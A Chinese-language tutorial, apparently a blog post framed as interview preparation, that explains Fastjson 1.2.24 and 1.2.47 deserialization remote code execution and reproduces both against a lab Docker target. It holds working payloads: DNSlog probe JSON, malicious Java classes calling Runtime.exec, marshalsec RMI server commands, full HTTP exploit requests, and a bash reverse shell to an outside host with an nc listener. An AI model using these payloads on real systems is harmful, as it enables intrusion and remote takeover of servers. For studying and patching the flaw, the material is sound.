一文读懂面试官都在问的Fastjson漏洞
Fastjson1.2.24-RCE漏洞
漏洞简介
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
指纹特征
根据返回包判断
任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽!

利用DNSlog盲打
构造以下payload,利用sdnslog平台接收。
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 71
{"YikJiang":{"@type":"java.net.Inet4Address","val":"pesy0e.dnslog.cn"}}

Java站并且传的数据是JSON格式的都可以尝试
Burp插件检测
漏洞原理
一、原理概述
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,autoType标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链,造成远程代码执行。
因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。
在fastjson中我们使用 JdbcRowSetImpl进行反序列化的攻击,我们给此类中的setDataSourcesName 输入恶意内容(rmi链接),让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞
二、Fastjson
FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。
三、AutoType
fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。
对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
1、基于属性
2、基于setter/getter
而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。我们对java类进行序列化的时候,fastjson会自动扫描其中的get方法,将里边的字段值序列化到JSON的字符串中,当类包含了一个接口或者抽象了的时候,使用fastjson进行序列化的时候就会将子类型抹去,只留下接口(抽象类)的类型,反序列化的时候就无法拿到原始的类型。
但是使用SerializerFeature.WriteClassName进行标记后,JSON字符串中多出了一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,这个就是AutoType,和引入AutoType的原因。
因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。
四、@type
@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。
五、 JNDI 注入
1、JNDI是什么
JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。
2、lookup函数
如果lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。当我们指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者内部存在漏洞组件存在反序列化漏洞的话,我们可以构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。
六、RMI
RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。
七、LDAP
LDAP是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。
八、JdbcRowSetImpl利用链
在fastjson中我们使用JdbcRowSetImpl进行反序列化的攻击,JdbcRowSetImpl利用链的重点就在怎么调用autoCommit的set方法,而fastjson反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题。只要制定了@type的类型,他就会自动调用对应的类来解析。
这样我们就可以构造我们的利用链。在@type的类型为JdbcRowSetImpl类型的时候,JdbcRowSetImpl类就会进行实例化,那么只要将dataSourceName传给lookup方法,就可以保证能够访问到远程的攻击服务器,再使用设置autoCommit属性对lookup进行触发就可以了。整个过程如下: 通过设置dataSourceName将属性传参给lookup的方法—>设置autoCommit属性,利用SetAutoCommit函数触发connect函数—>触发connect函数下面lookup函数就会使用刚刚设置的dataSourceName参数,即可通过RMI访问到远程服务器,从而执行恶意指令。 exploit如下:
{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://192.168.17.39:9999/Exploit”,”autoCommit”:true}
值得注意的是: 1、dataSourceName 需要放在autoCommit的前面,因为反序列化的时候是按先后顺序来set属性的,需要先etDataSourceName,然后再setAutoCommit。 2、rmi的url后面跟上要获取的我们远程factory类名,因为在lookup()里面会提取路径下的名字作为要获取的类。
九、触发流程图

漏洞复现
1、访问靶机
靶机运行后,访问http://you-ip:8090 即可看到JSON格式的输出

2、攻击环节
a.首先我们构造一个YikJiang.java命令执行荷载,上传VPS并编译
// javac YikJiang.java
import java.lang.Runtime;
import java.lang.Process;
public class YikJiang {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/YikJiang0916"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
b.终端进行编译
注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了,因为这个搞了半天
javac .\YikJiang.java
c.编译完成后,会发现当前目录下生成了YikJiang.class文件
d.利用python启动临时的http服务,端口为8888
python.exe -m http.server 8888

e. 利用marshalsec工具(需要maven环境编译),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar
f.生成payload
启动RMI服务器,监听8888端口,并指定加载远程类YikJiang.class
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 777

g.修改提交模式和Content-Type为application/json,发送payload
POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 161 {
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.161:777/YikJiang",
"autoCommit":true
}
}

3、攻击结果
进入doker容器
docker exec -it 6549e687ad97 /bin/bash

Fastjson1.2.47-RCE漏洞
漏洞简介
fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令
漏洞复现
在1.2.24版本漏洞复现中,我们利用fastjson漏洞进行了命令执行,1.2.27中,我们就尝试反弹shell(其实原理都相同)
1、访问靶机
靶机运行后,访问http://you-ip:8090 即可看到JSON格式的输出

2、攻击环节
a.我们构造反弹Shell
构造反弹shell的方式有很多种,这里用Hack-Tools插件进行构造
bash -i >& /dev/tcp/192.168.1.161/6666 0>&1

b.首先我们构造一个YikJiang.java命令执行荷载,上传VPS并编译
import java.lang.Runtime;
import java.lang.Process; public class YikJiang {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.161/6666 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
b.终端进行编译
注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了,因为这个搞了半天
javac .\YikJiang.java
c.编译完成后,会发现当前目录下生成了YikJiang.class文件
d.利用python启动临时的http服务,端口为8888
Python2.0
python2 -m SimpleHTTPServer 8888Python3.0
python3 -m http.server 8888
python.exe -m http.server 8888


e. 利用marshalsec工具(需要maven环境编译),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar
f.生成payload
启动RMI服务器,并指定加载远程类YikJiang.class
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 9999

g.本地开启监听nc -lvp 6666

h.修改提交模式和Content-Type为application/json,发送payload
POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 287 {"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.161:9999/YikJiang", "autoCommit":true
}

3、攻击结果
发送成功后,RMI服务器记录了请求信息,并且成功反弹Shell

一文读懂面试官都在问的Fastjson漏洞的更多相关文章
- 一文读懂架构师都不知道的isinstance检查机制
起步 通过内建方法 isinstance(object, classinfo) 可以判断一个对象是否是某个类的实例.但你是否想过关于鸭子协议的对象是如何进行判断的呢? 比如 list 类的父类是继 o ...
- 深度分析:面试腾讯,阿里面试官都喜欢问的String源码,看完你学会了吗?
前言 最近花了两天时间,整理了一下String的源码.这个整理并不全面但是也涵盖了大部分Spring源码中的方法.后续如果有时间还会将剩余的未整理的方法更新到这篇文章中.方便以后的复习和面试使用.如果 ...
- 面试 HTTP ,99% 的面试官都爱问这些问题
HTTP 和 HTTPS 的区别 HTTP 是一种 超文本传输协议(Hypertext Transfer Protocol),HTTP 是一个在计算机世界里专门在两点之间传输文字.图片.音频.视频等超 ...
- 这些Servlet知识你一定要知道,金九银十大厂面试官都爱问
前言 Servlet是服务器端的Java应用程序,可以生产动态Web页面.透过JSP执行过程可以知道JSP最终被编译成一个.class文件,查看该文件对应的Java类,发现该Java类继承自org.a ...
- [Interview]读懂面试问题,在面试官面前变被动为主动
面试是供需双方心理的较量,作为求职者来说,了解对方问题的内涵,做到“明明白白他的心”,就能变被动为主动.因此,读懂面试问题,掌握面试考官的提问的目的,有准备.有针对性地回答,对提高应聘的成功率是有很大 ...
- 一文读懂Redis的四种模式,单机、主从、哨兵、集群
少点代码,多点头发 本文已经被GitHub收录,欢迎大家踊跃star 和 issues. https://github.com/midou-tech/articles 入职第一周,我被坑了 最近刚入职 ...
- 一文读懂HTTP/2及HTTP/3特性
摘要: 学习 HTTP/2 与 HTTP/3. 前言 HTTP/2 相比于 HTTP/1,可以说是大幅度提高了网页的性能,只需要升级到该协议就可以减少很多之前需要做的性能优化工作,当然兼容问题以及如何 ...
- 即时通讯新手入门:一文读懂什么是Nginx?它能否实现IM的负载均衡?
本文引用了“蔷薇Nina”的“Nginx 相关介绍(Nginx是什么?能干嘛?)”一文部分内容,感谢作者的无私分享. 1.引言 Nginx(及其衍生产品)是目前被大量使用的服务端反向代理和负载均衡 ...
- kubernetes基础——一文读懂k8s
容器 容器与虚拟机对比图(左边为容器.右边为虚拟机) 容器技术是虚拟化技术的一种,以Docker为例,Docker利用Linux的LXC(LinuX Containers)技术.CGroup(Co ...
- 一文读懂MySQL的事务隔离级别及MVCC机制
回顾前文: 一文学会MySQL的explain工具 一文读懂MySQL的索引结构及查询优化 (同时再次强调,这几篇关于MySQL的探究都是基于5.7版本,相关总结与结论不一定适用于其他版本) 就软件开 ...
随机推荐
- Navicat基础教程
1.安装 可以直接前往官网进行安装,网址如下: https://navicat.com.cn/download/navicat-premium 下载之后将下载后的压缩包解压到当前文件夹,然后根据里面自 ...
- Linux & 标准C语言学习 <DAY5>
一.if分支语句 if(表达式) //单分支语句 { //表达式的值为真,则执行此处代码 } if(表达式) //双分支语句 { ...
- VirtualBox下宿主机和Linux虚拟机共享文件配置方法
VirtualBox版本-5.2.8 Linux版本-Ubuntu16.04 2020.03.31 一.首先在宿主机上新建一个文件夹,这里命名为共享文件夹(如果读者自行命名记得后文全部替换),存放了一 ...
- 【Visual Leak Detector】QT 中 VLD 输出解析(二)
说明 使用 VLD 内存泄漏检测工具辅助开发时整理的学习笔记. 目录 说明 1. 使用方式 2. 有一处内存泄漏时的输出报告(int 型) 3. 有一处内存泄漏时的输出报告(int 数组型) 1. 使 ...
- C#中抽象方法与虚方法的区别详解及示例
1. 抽象方法与虚方法的区别 先说两者最大的区别:抽象方法是需要子类去实现的.虚方法是已经实现了的,可以被子类覆盖,也可以不覆盖,取决于需求.因为抽象类无法实例化,所以抽象方法没有办法被调用,也就 ...
- MarkdownStudy02DOS窗口
打开dos窗口 开始里面win系统 win+r,输入cmd 在任意文件下,按住shift+鼠标右键点击,在此处打开PowerShell窗口 资源管理器的地址栏前面加上cmd路径 管理员身份运行 常用的 ...
- node.js介绍及简单例子
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- selenium的准备工作
1.安装python 默认无脑安装 勾选添加到path环境变量 安装成功后的展示: 2.安装pycharm 创建项目 并且把pycharm与python关联起来 3.在当前项目下下载selenium( ...
- 有关SpringMVC的一些知识点
Spring的获取对象 1.获取原生对象,直接在在方法李传http相关的对象.2.接受简单数据类型,接受简单数据类型(八种基本类型)参数直接在handler方法里声明,会自动把相同类型进行绑定,但是接 ...
- [Git]解决:error: The following untracked working tree files would be removed by checkout:
1 文由 不小心在本地对master分支做了修改,并commit了,但是没有push成功(因为处于防止代码提交风险,产品部对普通开发者没有项目master的push权限) 后来又经过了一顿骚操作(我已 ...